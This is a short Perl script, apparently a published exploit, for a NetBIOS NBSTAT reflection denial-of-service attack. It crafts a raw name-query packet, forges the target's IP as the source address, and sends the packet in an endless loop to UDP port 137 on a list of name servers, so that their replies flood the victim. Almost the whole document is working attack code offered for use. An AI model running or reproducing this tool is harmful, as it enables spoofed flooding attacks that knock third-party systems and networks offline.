NetBios NBSTAT name query reflection dos v1

#!/usr/bin/perl
#
# NetBios NBSTAT name query reflection dos
# by Todor Donev & Mike Brady :))
#
#
use Net::RawIP;
@nbns = qw(
127.0.0.1
);
if ($ARGV[0] eq '') { print "Use: $0 <IP>\n"; exit; }
my $target = "$ARGV[0]";
$request =  "\xa2\x48\x00\x00\x00\x01\x00\x00";
$request .= "\x00\x00\x00\x00\x20\x43\x4b\x41";
$request .= "\x41\x41\x41\x41\x41\x41\x41\x41";
$request .= "\x41\x41\x41\x41\x41\x41\x41\x41";
$request .= "\x41\x41\x41\x41\x41\x41\x41\x41";
$request .= "\x41\x41\x41\x41\x41\x00\x00\x21";
$request .= "\x00\x01";

my $sock =  new Net::RawIP({ udp => {} });
while () {
    for (my $i=0; $i < @nbns; $i++) {
                select(undef, undef, undef, 0.30);
                $sock->set({  ip =>  {  saddr => $target, daddr => $nbns[$i]},
                             udp =>  { source => 31337,   dest  => 137, data => $request} });
                $sock->send;
        }
}